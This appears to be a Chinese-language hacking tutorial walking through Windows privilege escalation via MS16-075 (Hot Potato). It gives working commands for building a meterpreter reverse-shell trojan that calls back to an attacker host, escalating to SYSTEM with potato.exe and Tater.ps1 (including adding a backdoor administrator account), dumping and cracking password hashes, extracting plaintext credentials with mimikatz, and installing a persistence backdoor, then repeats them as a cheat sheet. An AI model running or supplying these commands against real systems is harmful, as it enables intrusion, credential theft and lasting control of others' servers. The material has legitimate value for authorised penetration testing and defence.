1.ms16-075漏洞简介
Windows SMB 服务器特权提升漏洞(CVE漏洞编号:CVE-2016-3225)当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时,Microsoft 服务器消息块 (SMB) 中存在特权提升漏洞,成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。若要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行一个为利用此漏洞而经特殊设计的应用程序,从而控制受影响的系统。此更新通过更正Windows服务器消息块 (SMB) 服务器处理凭据转发请求的方式来修复此漏洞。微软将其定义为KB3164038,有关该漏洞的详细介绍请参阅其网页:https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2016/ms16-075。
2.wmic对目标系统进行漏洞补丁更新情况查看
(1)wmic查看所有补丁安装情况
wmic qfe getCaption,Description,HotFixID,InstalledOn
(2)查找具体漏洞号的信息
wmic qfe getCaption,Description,HotFixID,InstalledOn | findstr /C:"KB3136041"/C:"KB4018483"
3.msf反弹进行补丁枚举
(1)使用模块post/windows/gather/enum_patches
use post/windows/gather/enum_patches
(2)设置会话
使用sessions -l命令查看会话,加入只有一个会话,其id为1,则使用set session1设置为当前会话。
(3)设置漏洞KB号。
set kb "KB3136041","KB4018483","KB3143141"
(4)执行枚举
run
4. windows-exploit-suggester.py进行补丁漏洞审计
(1)systeminfo生成文件
systeminfo >win2008.txt
(2)下载windows-exploit-suggester.py
https://github.com/GDSSecurity/Windows-Exploit-Suggester
(3)安装xlrd模块
pipinstall xlrd --upgrade
(4)更新windows-exploit-suggester
windows-exploit-suggester.py -u
上面命令会生成一个以当天日期的文件,例如2018-06-07-mssb.xls。
(5)执行漏洞审计
windows-exploit-suggester.py --audit -l --database 2018-06-07-mssb.xls--systeminfo 1.txt >win2008-day.txt
2018-06-07-mssb.xls跟前面生成的文件名称一致,win2008-day.txt即为漏洞审计情况。
1.ms16-075漏洞利用程序
FoxGlove公布(https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075)的potato及Tater(https://github.com/Kevin-Robertson/Tater)公布的Tater.ps1利用程序。
2. msf下提权命令利用程序。
(1)uploadpotato.exe
(2)use incognito
(3)list_tokens -u
(4)execute -cH -f./potato.exe
(5)list_tokens -u
(6)impersonate_token"NT AUTHORITY\SYSTEM"
(7)getuid
3.powershell下提权命令
Import-Module ./Tater.ps1 或者. ./Tater.ps1
(1)Trigger 1示例
Invoke-Tater -Trigger 1 -Command "netuser tater Winter2016 /add && net localgroup administrators tater/add"
(2)trigger 2示例
Invoke-Tater -Trigger 2 -Command "netuser tater Winter2016 /add && net localgroup administrators tater/add"
(3)windows7使用(NBNS WPAD Bruteforce + Windows Defender Signature Updates)
net localgroup administrators
..Tater.ps1
Invoke-Tater -Command ""netlocalgroup administators user /add
net localgroup administrators
(4)Windows 10 使用trigger 2 (WebClient Service + Scheduled Task)
Set-ExecutionPolicy unrestricted -ScopeCurrentUser
输入y
..Tater.ps1
Invoke-Tater -Command "net localgroupadministators user /add" -trigger 2
net localgroup administrators
(5)Windows 7 使用trigger 1和UDP端口耗尽
..Tater.ps1
Invoke-Tater -Command "net user taterWinter2016 /add && net localgroup administators tater /add"-exhaustudp y
1.反弹条件
(1)在内网中,lhost为内网地址
(2)在公网需要有独立IP,也即lhost为独立IP,通过开放的端口能够访问到
2.生成反弹木马命令
msfvenom -p windows/meterpreter/reverse_tcpLHOST=192.168.1.33 LPORT=4433 -f exe -o 4433.exe
反弹到的主机地址为192.168.1.33,端口为4433,生成的木马文件为4433.exe
3.将4433.exe上传到需要提权的目标服务器上
1.执行监听
(1)在kali或者其他平台下开启msf
./msfconsole
(2)使用exploit/multi/handler
use exploit/multi/handler
(3)这只payload
set PAYLOAD windows/meterpreter/reverse_tcp
(4)设置反弹IP地址
set LHOST 192.168.1.33 //实际情况中需要将192.168.1.33换成公网IP地址
(5)设置端口
set LPORT 4433
(6)运行
exploit
2.在提权目标服务器上执行4433.exe程序
1.使用后门模块
开启msf平台后依次执行以下命令,执行效果如图1所示。
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 47.75.***.***
set LPORT 4433
exploit
图1使用后门监听模块
2.进行提权
(1)查看反弹服务器基本信息
在目标服务器上执行前面生成的反弹木马,如图2所示,反弹回来后,执行sysinfo查看服务器信息,该服务器为Windows 2008 SP2,为X86架构。
图2查看服务器基本信息
(2)在反弹的meterpreter中分别执行getuid及getsystem命令查看当前用户的权限及进行提权,结果显示使用msf自带的提权方法提权失败,如图3所示。
图3使用msf自带提权方法提权失败
3.上传ms16-075文件
在meterpreter中执行upload potato.exe命令,如图4所示,meterpreter会将potato文件直接上传到反弹shell所在的目录下。
图4上传ms16-075文件
4.利用ms16-075进行提权
(1)利用msf16-075进行提权
如图5所示,依次执行以下命令:
use incognito
list_tokens -u
execute -cH -f ./potato.exe
图5执行提权命令
(2)提权成功
执行ms16-075提权程序后,再次执行以下命令,如图6所示,获取当前用户权限为NT AUTHORITYSYSTEM权限。
list_tokens -u
impersonate_token "NT AUTHORITYSYSTEM"
getuid
图6获取系统权限
5.获取及破解当前系统哈希值
(1)获取当前系统哈希值
在meterpreter中执行run hashdump命令,如图7所示,成功获取当前系统下的所有账号的哈希加密值,不过该哈希值的LM值为aa3d表示无法破解。只有后面的ntlm值有用。
图7获取当前系统密码哈希值
(2)破解密码值
将获取的哈希密码值的后半部分复制到www.cmd5.com进行破解,破解时需要选择ntlm算法,如图8所示,查询到密码后,通过付费查询,获取其密码值。
图8对密码进行破解
(3)使用mimikatz来获取密码
在meterpreter中执行load mimikatz命令,如图9所示,然后执行msv等命令,来获取系统的明文密码,在本案例中未能成功获取明文密码。
图9使用mimikatz获取明文密码
6.登录服务器
(1)查看远程终端端口
如图10所示,可以在shell状态下执行tasklist /svc | find “TermService”及netstat -ano | find “2872”命令来获取当前系统开放的3389端口。注意前面命令获取的是进程PID号是后面查询的关键字。也可以使用nmap命令通过扫描来确定,例如执行nmap -A -sS -Pn 192.1.1.1等命令来核实远程目标开放的端口。
图10获取远程终端端口
(2)登录远程终端并获取明文密码
使用前面破解的密码登录远程桌面,然后上传wce来获取明文密码,如图11所示,成功获取其管理员的密码。
图11获取管理员密码
1.ms16-075提权命令
upload potato.exe
use incognito
list_tokens -u
execute -cH -f ./potato.exe
list_tokens -u
impersonate_token "NT AUTHORITYSYSTEM"
getuid
2.获取密码哈希值
run hashdump
3.mimikatz进行密码获取
load mimikatz
kerberos、livessp、msv、ssp、tspkg、wdigest(逐个命令测试,有的会显示明文密码)
mimikatz_command:mimikatz命令提示窗口
mimikatz_command -f sekurlsa::wdigest -a"full"
mimikatz_command -f sekurlsa::logonpasswords
4.远程终端端口查看命令
tasklist /svc | find"TermService"
netstat -ano | find "2872"
5.持久化攻击
run persistence -X -i 50 -p 4433 -r 192.168.1.33
小彩蛋:
(1)密码安全攻防技术精讲:http://gitbook.cn/gitchat/column/5afbf24f753289354cab7983
(2)SQLmap入门到精通:http://blog.51cto.com/cloumn/detail/3
(3)新书《网络攻防实战研究:漏洞利用与提权》http://item.jd.com/12330042.html?dist=jd?dist=jd
参考文章:
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075
https://github.com/Kevin-Robertson/Tater
https://github.com/EmpireProject/Empire
https://github.com/jaredhaight/psattack
https://github.com/Cn33liz/p0wnedShell